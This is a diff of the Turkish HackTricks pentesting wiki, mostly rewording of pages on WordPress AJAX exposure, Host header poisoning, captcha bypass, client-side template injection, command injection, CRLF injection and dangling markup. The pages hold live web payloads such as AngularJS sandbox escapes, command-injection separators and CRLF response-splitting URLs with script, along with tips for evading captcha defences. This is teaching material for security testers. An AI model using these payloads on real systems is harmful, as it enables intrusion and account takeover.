kullanıcılara açığa çıkarmanın yollarından biri AJAX işleyicileri aracılığıyladır. Bunlar, mantık, yetkilendirme veya kimlik doğrulama hataları içerebilir. Ayrıca, bu işlevlerin genellikle hem kimlik doğrulama hem de yetkilendirmeyi, **herhangi bir Wordpress örneğinde kimlik doğrulaması yapılmış bir kullanıcının sahip olabileceği** bir Wordpress nonce'un varlığına dayandırması sık rastlanan bir durumdur (rolünden bağımsız olarak). Bir eklentide bir işlevi açığa çıkarmak için kullanılabilecek işlevler şunlardır: ```php @@ -346,11 +303,11 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); **`nopriv` kullanımı, uç noktanın herhangi bir kullanıcı (hatta kimliği doğrulanmamış olanlar) tarafından erişilebilir olmasını sağlar.** > [!CAUTION] -> Ayrıca, eğer fonksiyon sadece kullanıcının yetkilendirmesini `wp_verify_nonce` fonksiyonu ile kontrol ediyorsa, bu fonksiyon genellikle kullanıcının giriş yapıp yapmadığını kontrol eder, kullanıcının rolünü kontrol etmez. Bu nedenle, düşük ayrıcalıklı kullanıcılar yüksek ayrıcalıklı eylemlere erişim sağlayabilir. +> Dahası, eğer fonksiyon sadece kullanıcının yetkilendirmesini `wp_verify_nonce` fonksiyonu ile kontrol ediyorsa, bu fonksiyon genellikle kullanıcının giriş yapıp yapmadığını kontrol eder, kullanıcının rolünü kontrol etmez. Bu nedenle, düşük ayrıcalıklı kullanıcılar yüksek ayrıcalıklı eylemlere erişim sağlayabilir. - **REST API** -`register_rest_route` fonksiyonunu kullanarak wordpress'ten fonksiyonları bir rest AP ile açmak da mümkündür: +Ayrıca, `register_rest_route` fonksiyonunu kullanarak wordpress'ten fonksiyonları bir rest AP ile açmak da mümkündür: ```php register_rest_route( $this->namespace, '/get/', array( @@ -378,7 +335,7 @@ define( 'WP_AUTO_UPDATE_CORE', true ); add_filter( 'auto_update_plugin', '__return_true' ); add_filter( 'auto_update_theme', '__return_true' ); ``` -Ayrıca, **güvenilir WordPress eklentileri ve temaları yalnızca yükleyin**. +Ayrıca, **sadece güvenilir WordPress eklentileri ve temaları yükleyin**. ### Güvenlik Eklentileri @@ -390,8 +347,8 @@ Ayrıca, **güvenilir WordPress eklentileri ve temaları yalnızca yükleyin**. - Varsayılan **admin** kullanıcısını kaldırın - **Güçlü şifreler** ve **2FA** kullanın -- Kullanıcıların **izinlerini** periyodik olarak **gözden geçirin** -- Brute Force saldırılarını önlemek için **giriş denemelerini sınırlayın** +- Kullanıcı **izinlerini** periyodik olarak **gözden geçirin** +- Brute Force saldırılarını önlemek için **giriş denemelerini** sınırlayın - **`wp-admin.php`** dosyasının adını değiştirin ve yalnızca dahili erişime veya belirli IP adreslerinden erişime izin verin. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/other-web-tricks.md b/src/other-web-tricks.md index c98dd9576..693f2af4d 100644 --- a/src/other-web-tricks.md +++ b/src/other-web-tricks.md @@ -2,15 +2,13 @@ {{#include ./banners/hacktricks-training.md}} - ### Host başlığı -Birçok kez arka uç, bazı işlemleri gerçekleştirmek için **Host başlığına** güvenir. Örneğin, bu değeri **şifre sıfırlama için kullanılacak alan adı** olarak kullanabilir. Yani, şifrenizi sıfırlamak için bir bağlantı içeren bir e-posta aldığınızda, kullanılan alan adı Host başlığında belirttiğiniz alandır. Ardından, diğer kullanıcıların şifre sıfırlama taleplerini yapabilir ve alan adını kontrolünüzde olan bir alan adıyla değiştirerek şifre sıfırlama kodlarını çalabilirsiniz. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2). +Birçok kez arka uç, bazı işlemleri gerçekleştirmek için **Host başlığına** güvenir. Örneğin, bu değeri **şifre sıfırlama için kullanılacak alan adı** olarak kullanabilir. Yani, şifrenizi sıfırlamak için bir bağlantı içeren bir e-posta aldığınızda, kullanılan alan adı Host başlığına koyduğunuz alandır. Ardından, diğer kullanıcıların şifre sıfırlama taleplerini yapabilir ve alan adını kontrolünüzde olan bir alan adıyla değiştirerek şifre sıfırlama kodlarını çalabilirsiniz. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2). > [!WARNING] > Kullanıcının şifre sıfırlama bağlantısına tıklamasını beklemenize gerek kalmadan token'ı alabileceğinizi unutmayın, çünkü belki de **spam filtreleri veya diğer ara cihazlar/botlar bunu analiz etmek için tıklayacaktır**. - ### Oturum boolean'ları Bazen bazı doğrulamaları doğru bir şekilde tamamladığınızda arka uç, **oturumunuza bir güvenlik niteliğine "True" değeriyle bir boolean ekler**. Ardından, farklı bir uç nokta bu kontrolü başarıyla geçip geçmediğinizi bilecektir.\ @@ -22,11 +20,13 @@ Zaten mevcut bir kullanıcı olarak kaydolmayı deneyin. Eşdeğer karakterler ( ### E-postaları ele geçirme -Bir e-posta kaydedin, onaylamadan önce e-postayı değiştirin, ardından, yeni onay e-postası ilk kaydedilen e-postaya gönderilirse, herhangi bir e-postayı ele geçirebilirsiniz. Ya da ikinci e-postayı birincisini onaylayacak şekilde etkinleştirebilirseniz, herhangi bir hesabı da ele geçirebilirsiniz. +Bir e-posta kaydedin, onaylamadan önce e-postayı değiştirin, ardından, yeni onay e-postası ilk kaydedilen e-postaya gönderilirse, herhangi bir e-postayı ele geçirebilirsiniz. Ya da eğer ikinci e-postayı ilkini onaylamak için etkinleştirebilirseniz, herhangi bir hesabı da ele geçirebilirsiniz. ### Atlassian kullanan şirketlerin İç Servis Masasına Erişim -{% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %} +{{#ref}} +https://yourcompanyname.atlassian.net/servicedesk/customer/user/login +{{#endref}} ### TRACE yöntemi @@ -34,5 +34,4 @@ Geliştiriciler, üretim ortamında çeşitli hata ayıklama seçeneklerini devr ![Image for post](https://miro.medium.com/max/1330/1*wDFRADTOd9Tj63xucenvAA.png) - {{#include ./banners/hacktricks-training.md}} diff --git a/src/pentesting-web/captcha-bypass.md b/src/pentesting-web/captcha-bypass.md index 7c6f2d5f2..5031947b5 100644 --- a/src/pentesting-web/captcha-bypass.md +++ b/src/pentesting-web/captcha-bypass.md @@ -8,10 +8,10 @@ Captcha'yı **bypass** etmek için **sunucu testi** sırasında kullanıcı giri 1. **Parametre Manipülasyonu**: - **Captcha Parametresini Atla**: Captcha parametresini göndermemeye çalışın. HTTP yöntemini POST'tan GET'e veya diğer fiillere değiştirmeyi ve veri formatını, örneğin form verisi ile JSON arasında geçiş yapmayı deneyin. -- **Boş Captcha Gönder**: Captcha parametresi mevcut ancak boş bırakılarak isteği gönderin. +- **Boş Captcha Gönder**: Captcha parametresi mevcut ama boş bırakılarak isteği gönderin. 2. **Değer Çıkartma ve Yeniden Kullanma**: - **Kaynak Kodu İncelemesi**: Sayfanın kaynak kodunda captcha değerini arayın. -- **Çerez Analizi**: Captcha değerinin saklanıp saklanmadığını ve yeniden kullanılıp kullanılmadığını bulmak için çerezleri inceleyin. +- **Çerez Analizi**: Captcha değerinin saklanıp saklanmadığını ve yeniden kullanılıp kullanılmadığını görmek için çerezleri inceleyin. - **Eski Captcha Değerlerini Yeniden Kullanma**: Daha önce başarılı olan captcha değerlerini tekrar kullanmayı deneyin. Bunların her an süresinin dolabileceğini unutmayın. - **Oturum Manipülasyonu**: Farklı oturumlar veya aynı oturum kimliği arasında aynı captcha değerini kullanmayı deneyin. 3. **Otomasyon ve Tanıma**: @@ -22,7 +22,7 @@ Captcha'yı **bypass** etmek için **sunucu testi** sırasında kullanıcı giri 4. **Ek Teknikler**: - **Hız Sınırı Testi**: Uygulamanın belirli bir zaman diliminde deneme veya gönderim sayısını sınırlayıp sınırlamadığını ve bu sınırın aşılabilir veya sıfırlanabilir olup olmadığını kontrol edin. - **Üçüncü Taraf Hizmetler**: Otomatik captcha tanıma ve çözme sunan captcha çözme hizmetleri veya API'leri kullanın. -- **Oturum ve IP Döngüsü**: Sunucu tarafından tespit edilme ve engellenmeyi önlemek için oturum kimliklerini ve IP adreslerini sık sık değiştirin. +- **Oturum ve IP Döngüsü**: Sunucu tarafından tespit edilmemek ve engellenmemek için oturum kimliklerini ve IP adreslerini sık sık değiştirin. - **User-Agent ve Başlık Manipülasyonu**: Farklı tarayıcıları veya cihazları taklit etmek için User-Agent ve diğer istek başlıklarını değiştirin. - **Sesli Captcha Analizi**: Sesli captcha seçeneği mevcutsa, captcha'yı yorumlamak ve çözmek için konuşma metnine dönüştürme hizmetlerini kullanın. @@ -32,6 +32,8 @@ Captcha'yı **bypass** etmek için **sunucu testi** sırasında kullanıcı giri [**CapSolver**](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass), çeşitli captcha türlerini otomatik olarak çözme konusunda uzmanlaşmış AI destekli bir hizmettir ve geliştiricilerin Web Scraping sırasında karşılaştıkları captcha zorluklarını kolayca aşmalarına yardımcı olarak veri toplama sürecini güçlendirir. **reCAPTCHA V2, reCAPTCHA V3, DataDome, AWS Captcha, Geetest ve Cloudflare turnstile gibi** captcha'ları destekler. Geliştiriciler için, captcha çözmeyi uygulamalara entegre etmeyi kolaylaştıran [**belgelerde**](https://docs.capsolver.com/?utm_source=github&utm_medium=banner_github&utm_campaign=fcsrv)**,** API entegrasyon seçenekleri sunar. Ayrıca, hizmetlerini doğrudan bir tarayıcı içinde kullanmayı kolaylaştıran [Chrome](https://chromewebstore.google.com/detail/captcha-solver-auto-captc/pgojnojmmhpofjgdmaebadhbocahppod) ve [Firefox](https://addons.mozilla.org/es/firefox/addon/capsolver-captcha-solver/) için tarayıcı uzantıları sağlarlar. Farklı ihtiyaçlara uyacak şekilde çeşitli fiyat paketleri mevcuttur, bu da kullanıcılara esneklik sağlar. -{% embed url="https://www.capsolver.com/?utm_campaign=scraping&utm_content=captchabypass&utm_medium=ads&utm_source=google&utm_term=hacktricks" %} +{{#ref}} +https://www.capsolver.com/?utm_campaign=scraping&utm_content=captchabypass&utm_medium=ads&utm_source=google&utm_term=hacktricks +{{#endref}} {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/client-side-template-injection-csti.md b/src/pentesting-web/client-side-template-injection-csti.md index d3bfc024e..4f3c65375 100644 --- a/src/pentesting-web/client-side-template-injection-csti.md +++ b/src/pentesting-web/client-side-template-injection-csti.md @@ -2,7 +2,6 @@ {{#include ../banners/hacktricks-training.md}} - ## Özet Bu, **Server Side Template Injection** ile benzerlik gösterir ancak **istemci** tarafındadır. **SSTI**, uzaktaki sunucuda **kod çalıştırmanıza** izin verebilir, **CSTI** ise kurbanın tarayıcısında **rastgele JavaScript** kodu çalıştırmanıza izin verebilir. @@ -22,10 +21,9 @@ Kullanıcı girdisinin `ng-app` ile etiketlenmiş HTML gövdesine dinamik olarak
``` -Çatışmanın çok **temel bir çevrimiçi örneğini** **AngularJS**'de [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) ve [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression) adresinde bulabilirsiniz. +Çatışmanın çok **temel çevrimiçi örneğini** **AngularJS**'de [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) ve [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression) adresinde bulabilirsiniz. -> [!CAUTION] -> [**Angular 1.6 kum havuzunu kaldırdı**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) bu nedenle bu versiyondan itibaren `{{constructor.constructor('alert(1)')()}}` veya `` gibi bir yük çalışmalıdır. +> [!CAUTION] > [**Angular 1.6 kum havuzunu kaldırdı**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) bu nedenle bu versiyondan itibaren `{{constructor.constructor('alert(1)')()}}` veya `` gibi bir yük çalışmalıdır. ## VueJS @@ -73,7 +71,8 @@ javascript:alert(1)%252f%252f..%252fcss-images ## **Kaba Kuvvet Tespit Listesi** -{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %} - +{{#ref}} +https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt +{{#endref}} {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md index 35835053a..a9e6479b5 100644 --- a/src/pentesting-web/command-injection.md +++ b/src/pentesting-web/command-injection.md @@ -2,16 +2,15 @@ {{#include ../banners/hacktricks-training.md}} - ## Komut Enjeksiyonu Nedir? -Bir **komut enjeksiyonu**, bir saldırganın bir uygulamayı barındıran sunucuda keyfi işletim sistemi komutlarını çalıştırmasına izin verir. Sonuç olarak, uygulama ve tüm verileri tamamen tehlikeye girebilir. Bu komutların çalıştırılması genellikle saldırgana uygulamanın ortamına ve temel sisteme yetkisiz erişim veya kontrol sağlama imkanı tanır. +Bir **komut enjeksiyonu**, bir saldırganın bir uygulamayı barındıran sunucuda rastgele işletim sistemi komutlarını çalıştırmasına izin verir. Sonuç olarak, uygulama ve tüm verileri tamamen tehlikeye girebilir. Bu komutların yürütülmesi genellikle saldırgana uygulamanın ortamına ve temel sisteme yetkisiz erişim veya kontrol sağlama imkanı tanır. ### Bağlam **Girdiğiniz yerin nereye enjekte edildiğine** bağlı olarak, komutlardan önce **alıntı yapılan bağlamı sonlandırmanız** gerekebilir ( `"` veya `'` kullanarak). -## Komut Enjeksiyonu/Çalıştırma +## Komut Enjeksiyonu/Yürütme ```bash #Both Unix and Windows supported ls||id; ls ||id; ls|| id; ls || id # Execute both @@ -120,7 +119,9 @@ powershell C:**2\n??e*d.*? # notepad ## Brute-Force Tespit Listesi -{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %} +{{#ref}} +https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt +{{#endref}} ## Referanslar diff --git a/src/pentesting-web/crlf-0d-0a.md b/src/pentesting-web/crlf-0d-0a.md index 9d2c7fa58..b62516370 100644 --- a/src/pentesting-web/crlf-0d-0a.md +++ b/src/pentesting-web/crlf-0d-0a.md @@ -2,8 +2,6 @@ {{#include ../banners/hacktricks-training.md}} - - ### CRLF Carriage Return (CR) ve Line Feed (LF), birlikte CRLF olarak bilinir, HTTP protokolünde bir satırın sonunu veya yenisinin başlangıcını belirtmek için kullanılan özel karakter dizileridir. Web sunucuları ve tarayıcılar, HTTP başlıkları ile bir yanıtın gövdesi arasında ayrım yapmak için CRLF kullanır. Bu karakterler, Apache ve Microsoft IIS gibi çeşitli web sunucu türleri arasında HTTP/1.1 iletişimlerinde evrensel olarak kullanılır. @@ -16,7 +14,7 @@ CRLF enjeksiyonu, kullanıcı tarafından sağlanan girdiye CR ve LF karakterler [Example from here](https://www.invicti.com/blog/web-security/crlf-http-header/) -Bir admin panelindeki log dosyasını düşünün; formatı: `IP - Zaman - Ziyaret Edilen Yol`. Tipik bir giriş şöyle görünebilir: +Bir admin panelinde `IP - Zaman - Ziyaret Edilen Yol` formatını takip eden bir log dosyasını düşünün. Tipik bir giriş şöyle görünebilir: ``` 123.123.123.123 - 08:15 - /index.php?page=home ``` @@ -24,7 +22,7 @@ Bir saldırgan, bu günlüğü manipüle etmek için bir CRLF enjeksiyonunu kull ``` /index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit ``` -Burada, `%0d` ve `%0a` CR ve LF'nin URL kodlu biçimlerini temsil eder. Saldırıdan sonra, günlük yanıltıcı bir şekilde şunu gösterecektir: +Burada, `%0d` ve `%0a` CR ve LF'nin URL kodlu formlarını temsil eder. Saldırıdan sonra, günlük yanıltıcı bir şekilde şunu gösterecektir: ``` IP - Time - Visited Path @@ -37,7 +35,7 @@ Saldırgan, localhost'un (sunucu ortamında genellikle güvenilen bir varlık) e #### Açıklama -HTTP Yanıt Bölme, bir saldırganın HTTP yanıtlarının yapısını istismar etmesi durumunda ortaya çıkan bir güvenlik açığıdır. Bu yapı, başlıkları gövde kısmından ayıran belirli bir karakter dizisi kullanır; bu dizinin adı, Carriage Return (CR) ve ardından Line Feed (LF) olarak adlandırılır ve birlikte CRLF olarak anılır. Bir saldırgan, bir yanıt başlığına CRLF dizisi eklemeyi başarırsa, sonraki yanıt içeriğini etkili bir şekilde manipüle edebilir. Bu tür bir manipülasyon, özellikle Cross-site Scripting (XSS) gibi ciddi güvenlik sorunlarına yol açabilir. +HTTP Yanıt Bölme, bir saldırganın HTTP yanıtlarının yapısını istismar etmesiyle ortaya çıkan bir güvenlik açığıdır. Bu yapı, başlıkları gövde kısmından ayıran belirli bir karakter dizisi kullanır; bu dizinin adı Carriage Return (CR) ve Line Feed (LF) olarak bilinir ve birlikte CRLF olarak adlandırılır. Bir saldırgan, bir yanıt başlığına bir CRLF dizisi eklemeyi başarırsa, sonraki yanıt içeriğini etkili bir şekilde manipüle edebilir. Bu tür bir manipülasyon, özellikle Cross-site Scripting (XSS) gibi ciddi güvenlik sorunlarına yol açabilir. #### HTTP Yanıt Bölme ile XSS @@ -55,7 +53,7 @@ Tarayıcıya: ``` /%0d%0aLocation:%20http://myweb.com ``` -Ve sunucu şu başlıkla yanıt veriyor: +Ve sunucu şu başlıkla yanıt verir: ``` Location: http://myweb.com ``` @@ -70,13 +68,13 @@ Yükü **URL yolunun içinde** göndererek sunucudan **yanıtı** kontrol edebil http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E ``` -Daha fazla örnek için kontrol edin: - -{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %} +{{#ref}} +https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md +{{#endref}} ### HTTP Header Injection -HTTP Header Injection, genellikle CRLF (Carriage Return and Line Feed) enjeksiyonu aracılığıyla istismar edilen, saldırganların HTTP başlıkları eklemesine olanak tanır. Bu, XSS (Cross-Site Scripting) filtreleri veya SOP (Same-Origin Policy) gibi güvenlik mekanizmalarını zayıflatabilir ve bu da CSRF tokenları gibi hassas verilere yetkisiz erişim veya çerez yerleştirme yoluyla kullanıcı oturumlarının manipülasyonu ile sonuçlanabilir. +HTTP Header Injection, genellikle CRLF (Carriage Return and Line Feed) enjeksiyonu aracılığıyla istismar edilen, saldırganların HTTP başlıkları eklemesine olanak tanır. Bu, XSS (Cross-Site Scripting) filtreleri veya SOP (Same-Origin Policy) gibi güvenlik mekanizmalarını zayıflatabilir ve potansiyel olarak CSRF tokenları gibi hassas verilere yetkisiz erişim veya çerez yerleştirme yoluyla kullanıcı oturumlarının manipülasyonuna yol açabilir. #### HTTP Header Injection ile CORS'u İstismar Etme @@ -84,7 +82,7 @@ Bir saldırgan, SOP tarafından dayatılan kısıtlamaları aşarak CORS (Cross- #### CRLF Aracılığıyla SSRF ve HTTP Request Injection -CRLF enjeksiyonu, tamamen yeni bir HTTP isteği oluşturmak ve enjekte etmek için kullanılabilir. Bunun dikkat çekici bir örneği, PHP'nin `SoapClient` sınıfındaki, özellikle `user_agent` parametresindeki zayıflıktır. Bu parametreyi manipüle ederek, bir saldırgan ek başlıklar ve gövde içeriği ekleyebilir veya hatta tamamen yeni bir HTTP isteği enjekte edebilir. Aşağıda bu istismarı gösteren bir PHP örneği bulunmaktadır: +CRLF enjeksiyonu, tamamen yeni bir HTTP isteği oluşturmak ve enjekte etmek için kullanılabilir. Bunun dikkat çekici bir örneği, PHP'nin `SoapClient` sınıfındaki zayıflıktır, özellikle `user_agent` parametresi içinde. Bu parametreyi manipüle ederek, bir saldırgan ek başlıklar ve gövde içeriği ekleyebilir veya hatta tamamen yeni bir HTTP isteği enjekte edebilir. Aşağıda bu istismarı gösteren bir PHP örneği bulunmaktadır: ```php $target = 'http://127.0.0.1:9090/test'; $post_string = 'variable=post value'; @@ -125,7 +123,7 @@ Sonrasında, ikinci bir isteğin belirtilmesi mümkündür. Bu senaryo genellikl `GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1` -2. **Yanıt Kuyruğu Zehirleme için Bir Ön Ek Oluşturma**: Bu yaklaşım, son junk ile birleştirildiğinde tam bir ikinci isteği oluşturan bir ön ek yaratmayı içerir. Bu, yanıt kuyruğu zehirlemesini tetikleyebilir. Bir örnek: +2. **Yanıt Kuyruğu Zehirleme için Bir Ön Ek Oluşturma**: Bu yaklaşım, ardışık gereksiz verilerle birleştirildiğinde tam bir ikinci isteği oluşturan bir ön ek yaratmayı içerir. Bu, yanıt kuyruğu zehirlenmesini tetikleyebilir. Bir örnek: `GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1` @@ -137,25 +135,25 @@ Memcache, **açık metin protokolü kullanan bir anahtar-değer deposudur**. Dah ../network-services-pentesting/11211-memcache/ {{#endref}} -**Tam bilgi için**[ **orijinal yazıyı okuyun**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/) +**Tam bilgi için**[ **orijinal yazıyı**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/) **okuyun** Eğer bir platform, **bir HTTP isteğinden veri alıyor ve bunu temizlemeden** **memcache** sunucusuna **istekler** yapmak için kullanıyorsa, bir saldırgan bu davranışı **yeni memcache komutları enjekte etmek için** kötüye kullanabilir. -Örneğin, keşfedilen orijinal zafiyette, önbellek anahtarları, bir kullanıcının bağlanması gereken IP ve portu döndürmek için kullanıldı ve saldırganlar, **önbelleği zehirleyecek memcache komutları enjekte edebildiler**; bu da **kurbanların bilgilerini** (kullanıcı adları ve şifreler dahil) saldırgan sunuculara göndermelerine neden oldu: +Örneğin, keşfedilen orijinal zafiyette, önbellek anahtarları, bir kullanıcının bağlanması gereken IP ve portu döndürmek için kullanıldı ve saldırganlar, **kurbanların ayrıntılarını** (kullanıcı adları ve şifreler dahil) saldırgan sunucularına **gönderecek şekilde memcache komutları enjekte edebildiler:
https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&h=178&auto=format&fit=crop
-Ayrıca, araştırmacılar, saldırganın bilmediği kullanıcıların e-postalarına saldırganın IP ve portlarını göndermek için memcache yanıtlarını senkronize edemeyeceklerini de keşfettiler: +Ayrıca, araştırmacılar, saldırganın bilmediği kullanıcıların e-posta adreslerine saldırganın IP ve portlarını göndermek için memcache yanıtlarını senkronize edemeyeceklerini de keşfettiler:
https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&h=506&auto=format&fit=crop
### Web Uygulamalarında CRLF / HTTP Başlık Enjeksiyonlarını Önleme -Web uygulamalarında CRLF (Carriage Return ve Line Feed) veya HTTP Başlık Enjeksiyonlarının risklerini azaltmak için aşağıdaki stratejiler önerilmektedir: +Web uygulamalarında CRLF (Carriage Return and Line Feed) veya HTTP Başlık Enjeksiyonları risklerini azaltmak için aşağıdaki stratejiler önerilmektedir: 1. **Yanıt Başlıklarında Doğrudan Kullanıcı Girdisinden Kaçının:** En güvenli yaklaşım, kullanıcı tarafından sağlanan girdileri doğrudan yanıt başlıklarına dahil etmemektir. -2. **Özel Karakterleri Kodlayın:** Doğrudan kullanıcı girdisinden kaçınmak mümkün değilse, CR (Carriage Return) ve LF (Line Feed) gibi özel karakterleri kodlamak için özel bir işlev kullanıldığından emin olun. Bu uygulama, CRLF enjeksiyon olasılığını önler. -3. **Programlama Dilini Güncelleyin:** Web uygulamalarınızda kullanılan programlama dilini düzenli olarak en son sürüme güncelleyin. HTTP başlıklarını ayarlamakla görevli işlevlerde CR ve LF karakterlerinin enjekte edilmesine doğal olarak izin vermeyen bir sürüm seçin. +2. **Özel Karakterleri Kodlayın:** Doğrudan kullanıcı girdisinden kaçınmak mümkün değilse, CR (Carriage Return) ve LF (Line Feed) gibi özel karakterleri kodlamak için özel bir işlev kullanıldığından emin olun. Bu uygulama, CRLF enjeksiyonu olasılığını önler. +3. **Programlama Dilini Güncelleyin:** Web uygulamalarınızda kullanılan programlama dilini düzenli olarak en son sürüme güncelleyin. HTTP başlıklarını ayarlamakla görevli işlevler içinde CR ve LF karakterlerinin enjekte edilmesine doğal olarak izin vermeyen bir sürüm seçin. ### CHEATSHEET @@ -186,7 +184,7 @@ Web uygulamalarında CRLF (Carriage Return ve Line Feed) veya HTTP Başlık Enje - [https://github.com/Raghavd3v/CRLFsuite](https://github.com/Raghavd3v/CRLFsuite) - [https://github.com/dwisiswant0/crlfuzz](https://github.com/dwisiswant0/crlfuzz) -## Kaba Güç Tespit Listesi +## Brute-Force Tespit Listesi - [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt) @@ -197,6 +195,4 @@ Web uygulamalarında CRLF (Carriage Return ve Line Feed) veya HTTP Başlık Enje - [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning) - [**https://www.netsparker.com/blog/web-security/crlf-http-header/**](https://www.netsparker.com/blog/web-security/crlf-http-header/) - - {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md b/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md index 5a435a88e..5f46f32cd 100644 --- a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md +++ b/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md @@ -4,7 +4,7 @@ ## Özeti -Bu teknik, bir **HTML injection bulunduğunda** bir kullanıcıdan bilgi çıkarmak için kullanılabilir. Bu, **bir şekilde istismar edecek bir yol bulamazsanız** [**XSS** ](../xss-cross-site-scripting/) ama **bazı HTML etiketleri enjekte edebiliyorsanız** çok faydalıdır.\ +Bu teknik, bir **HTML injection bulunduğunda** bir kullanıcıdan bilgi çıkarmak için kullanılabilir. Bu, **bir şekilde istismar edecek bir yol bulamazsanız** çok faydalıdır [**XSS** ](../xss-cross-site-scripting/) ama **bazı HTML etiketleri enjekte edebiliyorsanız**.\ Ayrıca, HTML'de **açık metin olarak saklanan bazı sırlar** varsa ve bunları istemciden **sızdırmak** istiyorsanız veya bazı script yürütmelerini yanıltmak istiyorsanız da faydalıdır. Burada yorumlanan birkaç teknik, bilgiyi beklenmedik yollarla (html etiketleri, CSS, http-meta etiketleri, formlar, base...) sızdırarak bazı [**Content Security Policy**](../content-security-policy-csp-bypass/) engellerini aşmak için kullanılabilir. @@ -13,7 +13,7 @@ Burada yorumlanan birkaç teknik, bilgiyi beklenmedik yollarla (html etiketleri, ### Açık metin sırlarını çalmak -Sayfa yüklendiğinde ` ``` @@ -86,11 +86,11 @@ Bir formun yolunu değiştirebilir ve beklenmedik bir eylemin gerçekleştirilme ``` -### Noscript aracılığıyla açık metin sırlarını çalmak +### Noscript aracılığıyla düz metin sırlarını çalmak `` Tarayıcının javascript'i desteklemediği durumlarda içeriği yorumlanacak bir etikettir (Javascript'i Chrome'da [chrome://settings/content/javascript](chrome://settings/content/javascript) adresinden etkinleştirebilir/devre dışı bırakabilirsiniz). -Bir saldırganın kontrolündeki bir siteye, enjeksiyon noktasından sayfanın altına kadar içeriği dışarı aktarmanın bir yolu, bunu enjekte etmektir: +Bir saldırganın kontrolündeki bir siteye, enjeksiyon noktasından sayfanın en altına kadar içeriği dışarı aktarmanın bir yolu, bunu enjekte etmektir: ```html